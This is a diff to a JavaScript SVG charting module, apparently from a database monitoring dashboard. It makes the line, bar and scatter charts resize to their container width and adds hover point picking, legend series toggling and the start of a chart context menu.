-        const hit = svg("line", { class: "annotation-hit", x1: mx, y1: M.t, x2: mx, y2: M.t + PLOT_H });
-        const title = svg("title");
-        const lbl = ev.label == null || ev.label === "" ? "" : String(ev.label);
-        title.textContent = layer.displayName + (lbl ? " · " + lbl : "") + " · " + t.toLocaleString();
-        hit.appendChild(title);
-        g.appendChild(hit);
-        drawn++;
+    /* The index of the drawn point nearest a viewBox x, or -1 when no point sits on the plot. The hover tooltip names this
+       point, and so does the chart menu's right-click time (#5230), so the two always agree. */
+    const nearestPointIdx = (vbX) => {
+      let idx = -1;
+      let best = Infinity;
+      for (let i = 0; i < xs.length; i++) {
+        /* A zoom's off-plot neighbour points exist only to carry the line to the edge; they are not hoverable. */
+        if (xs[i] < M.l - 0.5 || xs[i] > plotRight + 0.5) continue;
+        const d = Math.abs(xs[i] - vbX);
+        if (d < best) {
+          best = d;
+          idx = i;
+        }
       }
-      if (drawn > 0) annotationKey.push({ label: layer.displayName, color, count: drawn });
-    });
-    root.appendChild(g);
-  }
-
-  const chart = el("div", { class: "chart" }, [root]);
-  const tooltip = el("div", { class: "chart-tooltip" });
-  chart.appendChild(tooltip);
-  chart.appendChild(buildLegend(series2 ? series.concat([{ label: series2.label, color: series2.color }]) : series, onSelect));
-  if (annotationKey.length) chart.appendChild(buildAnnotationLegend(annotationKey));
-
-  /* Brush-zoom (#1606): pointerdown + setPointerCapture on the overlay (capture keeps the drag alive across
-     the annotation hit-lines drawn above, and off-plot release still lands here). A drag ≥ 8 viewBox px draws
-     a selection band and calls onZoom(fromMs, toMs); anything shorter is a click, ignored. The mousemove
-     tooltip suppresses while a drag is live so it never repaints under the band. */
-  let dragFromX = null;
-  const brushRect = svg("rect", { class: "brush-rect", y: M.t, height: PLOT_H, style: "display:none" });
-  root.appendChild(brushRect);
-  const toVbX = (clientX) => {
-    const rect = root.getBoundingClientRect();
-    return ((clientX - rect.left) / rect.width) * W;
-  };
-  const vbToTime = (vbX) => tMin + (Math.max(0, Math.min(1, (vbX - M.l) / (plotW || 1))) * spanMs);
-  if (onZoom) {
-    overlay.addEventListener("pointerdown", (ev) => {
-      if (ev.button !== 0) return;
-      dragFromX = toVbX(ev.clientX);
-      overlay.setPointerCapture(ev.pointerId);
-    });
-    overlay.addEventListener("pointermove", (ev) => {
-      if (dragFromX == null) return;
-      const x = toVbX(ev.clientX);
-      const left = Math.max(M.l, Math.min(dragFromX, x));
-      const right = Math.min(plotRight, Math.max(dragFromX, x));
-      brushRect.setAttribute("x", left);
-      brushRect.setAttribute("width", Math.max(0, right - left));
-      brushRect.style.display = "";
-    });
-    overlay.addEventListener("pointerup", (ev) => {
-      if (dragFromX == null) return;
-      const from = dragFromX;
-      dragFromX = null;
-      brushRect.style.display = "none";
-      const to = toVbX(ev.clientX);
-      if (Math.abs(to - from) < 8) return; /* a click, not a brush */
-      const t1 = vbToTime(Math.min(from, to));
-      const t2 = vbToTime(Math.max(from, to));
-      if (t2 > t1) onZoom(t1, t2);
-    });
-    overlay.addEventListener("pointercancel", () => {
-      dragFromX = null;
-      brushRect.style.display = "none";
-    });
-  }
+      return idx;
+    };
+
+    overlay.addEventListener("mousemove", (ev) => {
+      if (dragFromX != null) return; /* brushing — the band owns the pointer */
+      const rect = root.getBoundingClientRect();
+      const vbX = ((ev.clientX - rect.left) / rect.width) * W;
+      const idx = nearestPointIdx(vbX);
+      if (idx < 0) return;
+      const { t, r } = rows[idx];
+      const px = xs[idx];
+
+      hoverLine.setAttribute("x1", px);
+      hoverLine.setAttribute("x2", px);
+      hoverLine.style.display = "";
+
+      /* Dots sit at each series' plotted position: its cumulative top when stacked, its own value otherwise. */
+      while (hoverDots.firstChild) hoverDots.removeChild(hoverDots.firstChild);
+      for (let k = 0; k < series.length; k++) {
+        const v = readVal(r, series[k].key);
+        if (!usesStack && v == null) continue;
+        const cy = usesStack ? plotY(stackTops[idx][k]) : plotY(v);
+        hoverDots.appendChild(svg("circle", { class: "hover-dot", cx: px, cy, r: 3.5, fill: normalizeColor(series[k].color) }));
+      }
+      if (series2 && scaleY2) {
+        const v2 = r[series2.key];
+        if (v2 != null && !isNaN(v2)) {
+          const cy2 = Math.max(M.t, Math.min(M.t + PLOT_H, scaleY2(Number(v2))));
+          hoverDots.appendChild(svg("circle", { class: "hover-dot", cx: px, cy: cy2, r: 3.5, fill: normalizeColor(series2.color) }));
+        }
+      }
+      hoverDots.style.display = "";
 
-  overlay.addEventListener("mousemove", (ev) => {
-    if (dragFromX != null) return; /* brushing — the band owns the pointer */
-    const rect = root.getBoundingClientRect();
-    const vbX = ((ev.clientX - rect.left) / rect.width) * W;
-    let idx = 0;
-    let best = Infinity;
-    for (let i = 0; i < xs.length; i++) {
-      const d = Math.abs(xs[i] - vbX);
-      if (d < best) {
-        best = d;
-        idx = i;
+      /* Tooltip is built with textContent only (values may include untrusted series labels). */
+      while (tooltip.firstChild) tooltip.removeChild(tooltip.firstChild);
+      tooltip.appendChild(el("div", { class: "t-time", text: t.toLocaleString() }));
+      for (const s of series) {
+        const v = r[s.key];
+        tooltip.appendChild(
+          el("div", { class: "t-row" }, [
+            el("span", { class: "swatch", style: "background:" + normalizeColor(s.color) }),
+            el("span", { text: s.label }),
+            el("span", { class: "t-val", text: v == null || isNaN(v) ? "—" : formatValue(v) }),
+          ])
+        );
       }
-    }
-    const { t, r } = rows[idx];
-    const px = xs[idx];
-
-    hoverLine.setAttribute("x1", px);
-    hoverLine.setAttribute("x2", px);
-    hoverLine.style.display = "";
-
-    /* Dots sit at each series' plotted position: its cumulative top when stacked, its own value otherwise. */
-    while (hoverDots.firstChild) hoverDots.removeChild(hoverDots.firstChild);
-    for (let k = 0; k < series.length; k++) {
-      const v = readVal(r, series[k].key);
-      if (!usesStack && v == null) continue;
-      const cy = usesStack ? plotY(stackTops[idx][k]) : plotY(v);
-      hoverDots.appendChild(svg("circle", { class: "hover-dot", cx: px, cy, r: 3.5, fill: normalizeColor(series[k].color) }));
-    }
-    if (series2 && scaleY2) {
-      const v2 = r[series2.key];
-      if (v2 != null && !isNaN(v2)) {
-        const cy2 = Math.max(M.t, Math.min(M.t + PLOT_H, scaleY2(Number(v2))));
-        hoverDots.appendChild(svg("circle", { class: "hover-dot", cx: px, cy: cy2, r: 3.5, fill: normalizeColor(series2.color) }));
+      if (series2) {
+        const v2 = r[series2.key];
+        const fmt2 = series2.formatValue || ((x) => String(x));
+        tooltip.appendChild(
+          el("div", { class: "t-row" }, [
+            el("span", { class: "swatch", style: "background:" + normalizeColor(series2.color) }),
+            el("span", { text: series2.label }),
+            el("span", { class: "t-val", text: v2 == null || isNaN(v2) ? "—" : fmt2(v2) }),
+          ])
+        );
       }
-    }
-    hoverDots.style.display = "";
+      const renderedX = (px / W) * rect.width;
+      tooltip.style.display = "block";
+      /* Clamp to the box the reader can see: below CHART_MIN_W (200 px) the SVG is wider than its clipped host (#5586). */
+      const visibleW = plotHost.clientWidth > 0 ? Math.min(rect.width, plotHost.clientWidth) : rect.width;
+      tooltip.style.left = Math.min(renderedX + 12, visibleW - tooltip.offsetWidth - 4) + "px";
+      tooltip.style.top = "8px";
+    });
 
-    /* Tooltip is built with textContent only (values may include untrusted series labels). */
-    while (tooltip.firstChild) tooltip.removeChild(tooltip.firstChild);
-    tooltip.appendChild(el("div", { class: "t-time", text: t.toLocaleString() }));
-    for (const s of series) {
-      const v = r[s.key];
-      tooltip.appendChild(
-        el("div", { class: "t-row" }, [
-          el("span", { class: "swatch", style: "background:" + normalizeColor(s.color) }),
-          el("span", { text: s.label }),
-          el("span", { class: "t-val", text: v == null || isNaN(v) ? "—" : formatValue(v) }),
-        ])
-      );
-    }
-    if (series2) {
-      const v2 = r[series2.key];
-      const fmt2 = series2.formatValue || ((x) => String(x));
-      tooltip.appendChild(
-        el("div", { class: "t-row" }, [
-          el("span", { class: "swatch", style: "background:" + normalizeColor(series2.color) }),
-          el("span", { text: series2.label }),
-          el("span", { class: "t-val", text: v2 == null || isNaN(v2) ? "—" : fmt2(v2) }),
-        ])
-      );
-    }
-    const renderedX = (px / W) * rect.width;
-    tooltip.style.display = "block";
-    tooltip.style.left = Math.min(renderedX + 12, rect.width - tooltip.offsetWidth - 4) + "px";
-    tooltip.style.top = "8px";
-  });
+    overlay.addEventListener("mouseleave", () => {
+      hoverLine.style.display = "none";
+      hoverDots.style.display = "none";
+      tooltip.style.display = "none";
+    });
+    cur = { root, nearestPointIdx, toVbX };
+    return root;
+  };
 
-  overlay.addEventListener("mouseleave", () => {
-    hoverLine.style.display = "none";
-    hoverDots.style.display = "none";
+  const seedW = seedPlotW(widthKey);
+  const plotHost = el("div", { class: "chart-plot", style: `height:${H}px` }, [buildPlot(seedW)]);
+  const chart = el("div", { class: "chart" }, [plotHost]);
+  chart.appendChild(tooltip);
+  chart.appendChild(buildLegend(series2Spec ? allSeries.concat([{ key: series2Spec.key, label: series2Spec.label, color: series2Spec.color }]) : allSeries, onSelect, legendHidden, onLegend));
+  if (annotationKey.length) chart.appendChild(buildAnnotationLegend(annotationKey));
+  watchPlotWidth(plotHost, (width) => {
     tooltip.style.display = "none";
-  });
-
+    const old = cur.root;
+    plotHost.replaceChild(buildPlot(width), old);
+  }, widthKey, seedW);
+
+  /* Export Data to CSV writes every loaded point, the same as the Viewer, not just the zoomed span (exportPoints
+     is the unzoomed set a zoomable chart passes). */
+  const exportRows = exportPoints
+    ? exportPoints.map((r) => ({ t: parseUtc(r[xKey]), r })).filter((p) => p.t).sort((a, b) => a.t - b.t)
+    : rows;
+  /* The right-click time: the time of the drawn point nearest the pointer, the one the hover tooltip names. The desktop's
+     AddChartDrillDownMenuItem (ServerTab.DrillDown.cs) takes the nearest point's time the same way, so a click a pixel or
+     two beside a one-bucket spike on a 7-day chart still opens the hour that holds it. A click past either edge snaps to
+     the first or last point; no point on the plot gives undefined, so no items. */
+  /* A wait trend chart (atTime.item "wait", #5235) also names the wait: the series drawn nearest the pointer at that point
+     (its plotted y, the same position the hover dot takes), among the series with a value there. The desktop's
+     GetNearestSeries does the same. No series with a value gives no wait, and the menu offers the generic item. */
+  const pickAt = atTime
+    ? (clientX, clientY) => {
+        const idx = cur.nearestPointIdx(cur.toVbX(clientX));
+        if (idx < 0) return undefined;
+        const picked = { t: rows[idx].t.getTime() };
+        if (atTime.item === "wait") {
+          const rect = cur.root.getBoundingClientRect();
+          const vbY = rect.height ? ((clientY - rect.top) / rect.height) * H : 0;
+          let best = Infinity;
+          for (let k = 0; k < series.length; k++) {
+            const v = rows[idx].r[series[k].key];
+            if (v == null || v === "" || isNaN(v)) continue;
+            const d = Math.abs((usesStack ? plotY(stackTops[idx][k]) : plotY(readVal(rows[idx].r, series[k].key))) - vbY);
+            if (d < best) {
+              best = d;
+              picked.wait = series[k].label || series[k].key;
+            }
+          }
+        }
+        return picked;
+      }
+    : null;
+  attachChartMenu(chart, () => cur.root, { title, source, zoomed, onResetZoom, xKey, series, series2, menuKey, atTime, pickAt }, exportRows);
   return chart;
 }
 
@@ -539,11 +795,13 @@ export function renderLineChart(spec) {
  * Render a horizontal RANKED bar chart into a returned `.chart` node (the compose "bar" viz — a topN result).
  * spec: { items:[{label,value,color?}], formatValue?, unit? } — items already ordered (value DESC) + bounded by
  * the query's topN. Bars scale to the largest value; each carries a native SVG <title> for the full label+value.
- * Rendered at a per-row height so a tall list stays readable (the container scrolls; the SVG never squashes).
+ * Rendered at a per-row height so a tall list stays readable (the container scrolls; the SVG never squashes), at the width its box has (a
+ * resize redraws it; a `widthKey` names the chart so a poll's rebuild is drawn at the width it had).
  * onSelect (design D6): when an item carries a `drill` ([{dimension, value}]), its bar becomes clickable and calls
  * onSelect(item.drill) so the caller can re-run the panel filtered to that category (a transient drill-down).
  */
 export function renderBarChart(spec) {
+  const widthKey = spec.widthKey || null;
   const { items, formatValue = (v) => String(v), thresholds = null, onSelect = null } = spec;
   const rows = (items || []).filter((d) => d && d.value != null && !isNaN(d.value));
   if (!rows.length) return el("div", { class: "chart" }, [emptyStrip("No values to chart.")]);
@@ -554,55 +812,78 @@ export function renderBarChart(spec) {
 
   const rowH = 26;
   const gap = 8;
-  const labelW = 220;
-  const valueW = 110;
-  const barLeft = labelW + 8;
-  const barW = W - barLeft - valueW;
+  /* The height follows the bar count, not the width, so the plot box never feeds back into the width it watches. */
   const height = M.t + shown.length * (rowH + gap);
+  const valueTexts = shown.map((d) => formatValue(Number(d.value)));
+  /* The label gutter fits the longest label (at most BAR_LABEL_CHARS characters) and takes at most 35 % of the width, and
+     the value gutter fits the longest value, both by the 12px text's width (#5586): the text is drawn at its CSS size at
+     any panel width, so a narrow panel truncates the label rather than scaling it down. */
+  const buildBars = (W) => {
+    const longestLabel = Math.max(...shown.map((d) => Math.min(BAR_LABEL_CHARS, String(d.label == null || d.label === "" ? "—" : d.label).length)));
+    const valueW = Math.round(Math.max(...valueTexts.map((t) => t.length)) * BAR_CHAR_BUDGET_PX + 12);
+    /* Rounded UP: a gutter rounded down can hold one character fewer than the longest label ("AdvWork" read "AdvWo…"). */
+    let labelW = Math.ceil(Math.min(longestLabel * BAR_CHAR_BUDGET_PX + 8, Math.max(72, W * 0.35)));
+    /* The box never overflows (#5586): when the track would fall under its 40 px minimum, the label column gives way first, down
+       to 2 characters and the ellipsis (still budgeted by BAR_CHAR_BUDGET_PX, so a wide font fits), and no further. */
+    if (W - (labelW + 8) - valueW < BAR_TRACK_MIN) {
+      labelW = Math.min(labelW, Math.max(Math.ceil(3 * BAR_CHAR_BUDGET_PX + 8), Math.floor(W - valueW - BAR_TRACK_MIN - 8)));
+    }
+    const labelChars = Math.min(BAR_LABEL_CHARS, Math.max(2, Math.floor((labelW - 8) / BAR_CHAR_BUDGET_PX)));
+    const barLeft = labelW + 8;
+    const barW = Math.max(BAR_TRACK_MIN, W - barLeft - valueW);
 
-  const root = svg("svg", { viewBox: `0 0 ${W} ${height}`, preserveAspectRatio: "xMinYMin meet", role: "img" });
+    const root = svg("svg", { viewBox: `0 0 ${W} ${height}`, width: W, height, style: `width:${W}px;height:${height}px`, class: "plot-svg", role: "img" });
 
-  shown.forEach((d, i) => {
-    const y = M.t + i * (rowH + gap);
-    const val = Number(d.value);
-    const w = Math.max(1, (val / domainMax) * barW);
-    const color = normalizeColor(d.color);
+    const valueLayer = [];
+    shown.forEach((d, i) => {
+      const y = M.t + i * (rowH + gap);
+      const val = Number(d.value);
+      const w = Math.max(1, (val / domainMax) * barW);
+      const color = normalizeColor(d.color);
 
-    const label = svg("text", { class: "bar-label", x: labelW, y: y + rowH * 0.7, "text-anchor": "end" });
-    label.textContent = trunclabel(d.label);
+      const label = svg("text", { class: "bar-label", x: labelW, y: y + rowH * 0.7, "text-anchor": "end" });
+      label.textContent = trunclabel(d.label, labelChars);
 
-    const drillable = !!(onSelect && d.drill);
-    const track = svg("rect", { class: drillable ? "bar-track drillable" : "bar-track", x: barLeft, y, width: barW, height: rowH, rx: 3 });
-    const bar = svg("rect", { class: drillable ? "bar drillable" : "bar", x: barLeft, y, width: w, height: rowH, rx: 3, fill: color });
-    const title = svg("title");
-    title.textContent = (d.label == null || d.label === "" ? "—" : String(d.label)) + " · " + formatValue(val) + (drillable ? " · click to filter" : "");
-    bar.appendChild(title);
-    if (drillable) {
-      const fire = () => onSelect(d.drill);
-      bar.addEventListener("click", fire);
-      track.addEventListener("click", fire);
-    }
+      const drillable = !!(onSelect && d.drill);
+      const track = svg("rect", { class: drillable ? "bar-track drillable" : "bar-track", x: barLeft, y, width: barW, height: rowH, rx: 3 });
+      const bar = svg("rect", { class: drillable ? "bar drillable" : "bar", x: barLeft, y, width: w, height: rowH, rx: 3, fill: color });
+      const title = svg("title");
+      title.textContent = (d.label == null || d.label === "" ? "—" : String(d.label)) + " · " + valueTexts[i] + (drillable ? " · click to filter" : "");
+      bar.appendChild(title);
+      if (drillable) {
+        const fire = () => onSelect(d.drill);
+        bar.addEventListener("click", fire);
+        track.addEventListener("click", fire);
+      }
 
-    const value = svg("text", { class: "bar-value", x: barLeft + w + 6, y: y + rowH * 0.7 });
-    value.textContent = formatValue(val);
+      const value = svg("text", { class: "bar-value", x: barLeft + w + 6, y: y + rowH * 0.7 });
+      value.textContent = valueTexts[i];
 
-    root.appendChild(label);
-    root.appendChild(track);
-    root.appendChild(bar);
-    root.appendChild(value);
-  });
+      root.appendChild(label);
+      root.appendChild(track);
+      root.appendChild(bar);
+      valueLayer.push(value);
+    });
 
-  /* Render-only threshold reference lines (design D3): a ranked bar's value runs along the x axis, so each in-domain
-     threshold draws a VERTICAL dashed guide across the bars (value label at the top). Out-of-domain values skip. */
-  if (Array.isArray(thresholds)) {
-    for (const tv of thresholds) {
-      if (tv == null || isNaN(tv) || tv < 0 || tv > domainMax) continue;
-      const tx = barLeft + (tv / domainMax) * barW;
-      root.appendChild(thresholdLine(tx, M.t, tx, height, tx, M.t - 4, "middle", formatValue(tv)));
+    /* Render-only threshold reference lines (design D3): a ranked bar's value runs along the x axis, so each in-domain
+       threshold draws a VERTICAL dashed guide across the bars (value label at the top). Out-of-domain values skip. */
+    if (Array.isArray(thresholds)) {
+      for (const tv of thresholds) {
+        if (tv == null || isNaN(tv) || tv < 0 || tv > domainMax) continue;
+        const tx = barLeft + (tv / domainMax) * barW;
+        root.appendChild(thresholdLine(tx, M.t, tx, height, tx, M.t - 4, "middle", formatValue(tv)));
+      }
     }
-  }
+    /* The value texts go on top (#5586): the dashed line draws over the bar fills, where a long bar crosses it, but stops at a
+       number (the .bar-value halo in the panel colour). */
+    for (const value of valueLayer) root.appendChild(value);
+    return root;
+  };
 
-  const chart = el("div", { class: "chart chart-bar" }, [root]);
+  const seedW = seedPlotW(widthKey);
+  const plotHost = el("div", { class: "chart-plot", style: `height:${height}px` }, [buildBars(seedW)]);
+  watchPlotWidth(plotHost, (width) => plotHost.replaceChild(buildBars(width), plotHost.firstChild), widthKey, seedW);
+  const chart = el("div", { class: "chart chart-bar" }, [plotHost]);
   if (rows.length > MAX_BARS) {
     chart.appendChild(el("div", { class: "chart-note", text: `Showing the top ${MAX_BARS} of ${rows.length}.` }));
   }
@@ -691,6 +972,7 @@ export function renderPieChart(spec) {
  * spec: { items:[{label, x, y, drill?}], formatX?, formatY?, unitX?, unitY?, onSelect? }
  */
 export function renderScatterChart(spec) {
+  const widthKey = spec.widthKey || null;
   const { items, formatX = (v) => String(v), formatY = (v) => String(v), unitX = null, unitY = null, onSelect = null } = spec;
   const pts = (items || []).filter((d) => d && d.x != null && !isNaN(d.x) && d.y != null && !isNaN(d.y));
   if (!pts.length) return el("div", { class: "chart" }, [emptyStrip("No paired values to plot.")]);
@@ -699,60 +981,77 @@ export function renderScatterChart(spec) {
   const yMax = Math.max(...pts.map((d) => Number(d.y)));
   const sx = niceScale(0, xMax > 0 ? xMax : 1, Y_TICKS, null);
   const sy = niceScale(0, yMax > 0 ? yMax : 1, Y_TICKS, null);
-  const plotRight = W - M.r;
-  const plotW = plotRight - M.l;
-  const scaleX = (v) => M.l + ((v - sx.min) / (sx.max - sx.min)) * plotW;
-  const scaleY = (v) => M.t + (1 - (v - sy.min) / (sy.max - sy.min)) * PLOT_H;
-
-  const root = svg("svg", { viewBox: `0 0 ${W} ${H}`, preserveAspectRatio: "none", role: "img" });
-  const axis = svg("g", { class: "axis" });
-  for (const val of sy.ticks) {
-    const y = scaleY(val);
-    axis.appendChild(svg("line", { class: "grid-line", x1: M.l, y1: y, x2: plotRight, y2: y }));
-    const label = svg("text", { x: M.l - 8, y: y + 4, "text-anchor": "end" });
-    label.textContent = formatY(val);
-    axis.appendChild(label);
-  }
-  for (const val of sx.ticks) {
-    const x = scaleX(val);
-    axis.appendChild(svg("line", { class: "grid-line", x1: x, y1: M.t, x2: x, y2: M.t + PLOT_H }));
-    const label = svg("text", { x: Math.min(Math.max(x, M.l + 2), plotRight - 2), y: H - 8, "text-anchor": "middle" });
-    label.textContent = formatX(val);
-    axis.appendChild(label);
-  }
-  if (unitY && unitY !== "%") {
-    const cap = svg("text", { class: "axis-unit", x: M.l - 8, y: 11, "text-anchor": "end" });
-    cap.textContent = unitY;
-    axis.appendChild(cap);
-  }
-  if (unitX) {
-    const cap = svg("text", { class: "axis-unit", x: plotRight, y: H - 8, "text-anchor": "end" });
-    cap.textContent = unitX;
-    axis.appendChild(cap);
-  }
-  root.appendChild(axis);
+  const buildPlot = (W) => {
+    const plotRight = W - M.r;
+    const plotW = plotRight - M.l;
+    const scaleX = (v) => M.l + ((v - sx.min) / (sx.max - sx.min)) * plotW;
+    const scaleY = (v) => M.t + (1 - (v - sy.min) / (sy.max - sy.min)) * PLOT_H;
+
+    const root = svg("svg", { viewBox: `0 0 ${W} ${H}`, width: W, height: H, style: `width:${W}px;height:${H}px`, class: "plot-svg", role: "img" });
+    const axis = svg("g", { class: "axis" });
+    for (const val of sy.ticks) {
+      const y = scaleY(val);
+      axis.appendChild(svg("line", { class: "grid-line", x1: M.l, y1: y, x2: plotRight, y2: y }));
+      const label = svg("text", { x: M.l - 8, y: y + 4, "text-anchor": "end" });
+      label.textContent = formatY(val);
+      axis.appendChild(label);
+    }
+    /* Every x gridline is drawn at any width; a narrow plot labels every second (third, ...) tick so the value labels do not
+       overlap (#5586). The first and the last tick always keep their label: the stride counts from the first, and a stride
+       tick too close to the last gives way to it. */
+    const lastTick = sx.ticks.length - 1;
+    const xStride = Math.max(1, Math.ceil((1.5 * labelsPx(sx.ticks.map((v) => formatX(v))) + X_LABEL_GAP_PX) / (plotW / Math.max(1, lastTick))));
+    for (let ti = 0; ti < sx.ticks.length; ti++) {
+      const val = sx.ticks[ti];
+      const x = scaleX(val);
+      axis.appendChild(svg("line", { class: "grid-line", x1: x, y1: M.t, x2: x, y2: M.t + PLOT_H }));
+      const labelled = ti === 0 || ti === lastTick || (ti % xStride === 0 && lastTick - ti >= xStride);
+      if (!labelled) continue;
+      /* The first and the last label are anchored inward, as the line chart's are, so the last never runs off the right edge. */
+      const label = svg("text", { x: ti === 0 ? M.l : ti === lastTick ? plotRight : x, y: H - 8, "text-anchor": ti === 0 ? "start" : ti === lastTick ? "end" : "middle" });
+      label.textContent = formatX(val);
+      axis.appendChild(label);
+    }
+    if (unitY && unitY !== "%") {
+      const cap = svg("text", { class: "axis-unit", x: M.l - 8, y: 11, "text-anchor": "end" });
+      cap.textContent = unitY;
+      axis.appendChild(cap);
+    }
+    if (unitX) {
+      /* Top right, level with the y unit caption: at the bottom right it sat on the last tick label (#5586). */
+      const cap = svg("text", { class: "axis-unit", x: plotRight, y: 11, "text-anchor": "end" });
+      cap.textContent = unitX;
+      axis.appendChild(cap);
+    }
+    root.appendChild(axis);
 
-  for (const d of pts) {
-    const drillable = !!(onSelect && d.drill);
-    const dot = svg("circle", {
-      class: drillable ? "scatter-dot drillable" : "scatter-dot",
-      cx: scaleX(Number(d.x)),
-      cy: Math.max(M.t, Math.min(M.t + PLOT_H, scaleY(Number(d.y)))),
-      r: 5,
-      fill: normalizeColor(d.color || CATEGORICAL_COLORS[0]),
-      "fill-opacity": "0.75",
-    });
-    const title = svg("title");
-    title.textContent =
-      (d.label == null || d.label === "" ? "—" : String(d.label)) +
-      " · " + formatX(Number(d.x)) + " · " + formatY(Number(d.y)) +
-      (drillable ? " · click to filter" : "");
-    dot.appendChild(title);
-    if (drillable) dot.addEventListener("click", () => onSelect(d.drill));
-    root.appendChild(dot);
-  }
+    for (const d of pts) {
+      const drillable = !!(onSelect && d.drill);
+      const dot = svg("circle", {
+        class: drillable ? "scatter-dot drillable" : "scatter-dot",
+        cx: scaleX(Number(d.x)),
+        cy: Math.max(M.t, Math.min(M.t + PLOT_H, scaleY(Number(d.y)))),
+        r: 5,
+        fill: normalizeColor(d.color || CATEGORICAL_COLORS[0]),
+        "fill-opacity": "0.75",
+      });
+      const title = svg("title");
+      title.textContent =
+        (d.label == null || d.label === "" ? "—" : String(d.label)) +
+        " · " + formatX(Number(d.x)) + " · " + formatY(Number(d.y)) +
+        (drillable ? " · click to filter" : "");
+      dot.appendChild(title);
+      if (drillable) dot.addEventListener("click", () => onSelect(d.drill));
+      root.appendChild(dot);
+    }
+
+    return root;
+  };
 
-  return el("div", { class: "chart chart-scatter" }, [root]);
+  const seedW = seedPlotW(widthKey);
+  const plotHost = el("div", { class: "chart-plot", style: `height:${H}px` }, [buildPlot(seedW)]);
+  watchPlotWidth(plotHost, (width) => plotHost.replaceChild(buildPlot(width), plotHost.firstChild), widthKey, seedW);
+  return el("div", { class: "chart chart-scatter" }, [plotHost]);
 }
 
 /** Bounds on how much a ranked chart draws before it stops reading (the container scrolls a bar list; a pie pools). */
@@ -760,9 +1059,9 @@ const MAX_BARS = 30;
 const MAX_SLICES = 9;
 
 /** Truncate a bar's category label to keep it inside the label gutter. */
-function trunclabel(s) {
+function trunclabel(s, max = BAR_LABEL_CHARS) {
   const flat = String(s == null || s === "" ? "—" : s);
-  return flat.length > 30 ? flat.slice(0, 29) + "…" : flat;
+  return flat.length > max ? flat.slice(0, max - 1) + "…" : flat;
 }
 
 /** SVG path `d` for a donut wedge from a1° to a2° (0° = 3 o'clock, angles increase clockwise in SVG's y-down space). */
@@ -797,24 +1096,68 @@ function thresholdLine(x1, y1, x2, y2, lx, ly, anchor, text) {
 }
 
 /** The series key below a time chart. onSelect (design D6): a grouped series' entry becomes an activatable (mouse +
- *  keyboard) control that calls onSelect(series.drill) to re-run the panel filtered to that series' group value. */
-function buildLegend(series, onSelect) {
-  return el(
-    "div",
-    { class: "chart-legend" },
-    series.map((s) => {
-      const drillable = !!(onSelect && s.drill);
-      const props = { class: drillable ? "item drillable" : "item" };
-      if (drillable) {
-        props.onActivate = () => onSelect(s.drill);
-        props.title = "Filter to " + s.label;
-      }
-      return el("span", props, [
-        el("span", { class: "swatch", style: "background:" + normalizeColor(s.color) }),
-        el("span", { text: s.label }),
-      ]);
-    })
-  );
+ *  keyboard) control that calls onSelect(series.drill) to re-run the panel filtered to that series' group value.
+ *  onLegend (#5247): when given, a click on an entry (on a drillable entry, its swatch; the label keeps the drill, by
+ *  click or Enter / Space) hides or shows that series,
+ *  a double-click or Shift+click isolates it (double-click on the isolated one shows all), and a hidden entry is
+ *  marked off (struck through, hollow swatch, aria-pressed=false). While anything is hidden a "Show all" button
+ *  follows the entries. onLegend(action, key) takes "toggle" | "isolate" | "all". */
+function buildLegend(series, onSelect, hidden, onLegend) {
+  const hiddenSet = hidden || new Set();
+  const items = series.map((s) => {
+    const drillable = !!(onSelect && s.drill);
+    const switchable = !!(onLegend && s.key != null);
+    const off = switchable && hiddenSet.has(s.key);
+    const props = { class: "item" + (drillable ? " drillable" : "") + (switchable ? " switchable" : "") + (off ? " legend-off" : "") };
+    const swatch = el("span", { class: "swatch", style: "background:" + normalizeColor(s.color) });
+    /* A drillable entry drills from its label, and the label is a real control: Enter or Space on it drills, as a click
+       does. When the entry is also a switch the swatch is the switch and the label stays the drill, so the two gestures
+       never overlap; with no switch (no onLegend) the whole entry drills, as it did before the legend could hide a
+       series (#5247). */
+    const label = el("span", drillable && switchable ? { text: s.label, onActivate: () => onSelect(s.drill) } : { text: s.label });
+    if (drillable) {
+      props.title = "Filter to " + s.label;
+      if (!switchable) props.onActivate = () => onSelect(s.drill);
+    }
+    const wire = (node) => {
+      node.setAttribute("role", "button");
+      node.setAttribute("tabindex", "0");
+      node.setAttribute("aria-pressed", off ? "false" : "true");
+      node.setAttribute("title", (off ? "Show " : "Hide ") + s.label + " (double-click: show only this one)");
+      node.addEventListener("click", (e) => onLegend(e && e.shiftKey ? "isolate" : "toggle", s.key));
+      node.addEventListener("keydown", (e) => {
+        if (e.key === "Enter" || e.key === " ") {
+          e.preventDefault();
+          onLegend(e.shiftKey ? "isolate" : "toggle", s.key);
+        }
+      });
+      node.addEventListener("dblclick", () => onLegend("isolate", s.key));
+    };
+    const node = el("span", props, [swatch, label]);
+    if (switchable) wire(drillable ? swatch : node);
+    return node;
+  });
+  if (onLegend && hiddenSet.size > 0) {
+    const all = el("button", { class: "btn small legend-show-all", type: "button", text: "Show all (" + hiddenSet.size + " hidden)" });
+    all.addEventListener("click", () => onLegend("all", null));
+    items.push(all);
+  }
+  return el("div", { class: "chart-legend" }, items);
+}
+
+/** The hidden-series keys after a legend action (#5247). "toggle" flips one series but never hides the last visible
+ *  one; "isolate" leaves only that series visible, or shows all when it already is the only one; "all" shows all. */
+export function nextHiddenKeys(allKeys, hiddenKeys, action, key) {
+  const hidden = new Set((hiddenKeys || []).filter((k) => allKeys.includes(k)));
+  if (action === "all") return [];
+  if (!allKeys.includes(key)) return [...hidden];
+  if (action === "isolate") {
+    const alone = allKeys.every((k) => (k === key) !== hidden.has(k));
+    return alone ? [] : allKeys.filter((k) => k !== key);
+  }
+  if (hidden.has(key)) hidden.delete(key);
+  else if (allKeys.length - hidden.size > 1) hidden.add(key);
+  return [...hidden];
 }
 
 /** The event-annotation key below a time chart (design D5): one entry per active source (its marker color + a count
@@ -908,3 +1251,522 @@ function niceScale(min, max, maxTicks, clampMax, integer = false) {
   }
   return { min: niceMin, max: niceMax, step, ticks };
 }
+
+
+/* ─────────────────────────── chart menu (#4843) ─────────────────────────── */
+
+/* The Viewer's chart context menu, in the browser: Copy Image, Save Image As, Reset zoom, Export Data to CSV and
+   Show Data Source, in that order. It opens from a small visible button (keyboard reachable) and from right-click.
+   Items are plain text. grid-tools.js is loaded on first use, so a page that never opens the menu never pulls it. */
+export const CHART_MENU_LABELS = {
+  copy: "Copy Image",
+  save: "Save Image As...",
+  reset: "Reset zoom",
+  csv: "Export Data to CSV...",
+  source: "Show Data Source",
+  atQueries: "Show Active Queries at This Time",
+  atBlocking: "Show Blocking at This Time",
+  atDeadlocks: "Show Deadlocks at This Time",
+};
+
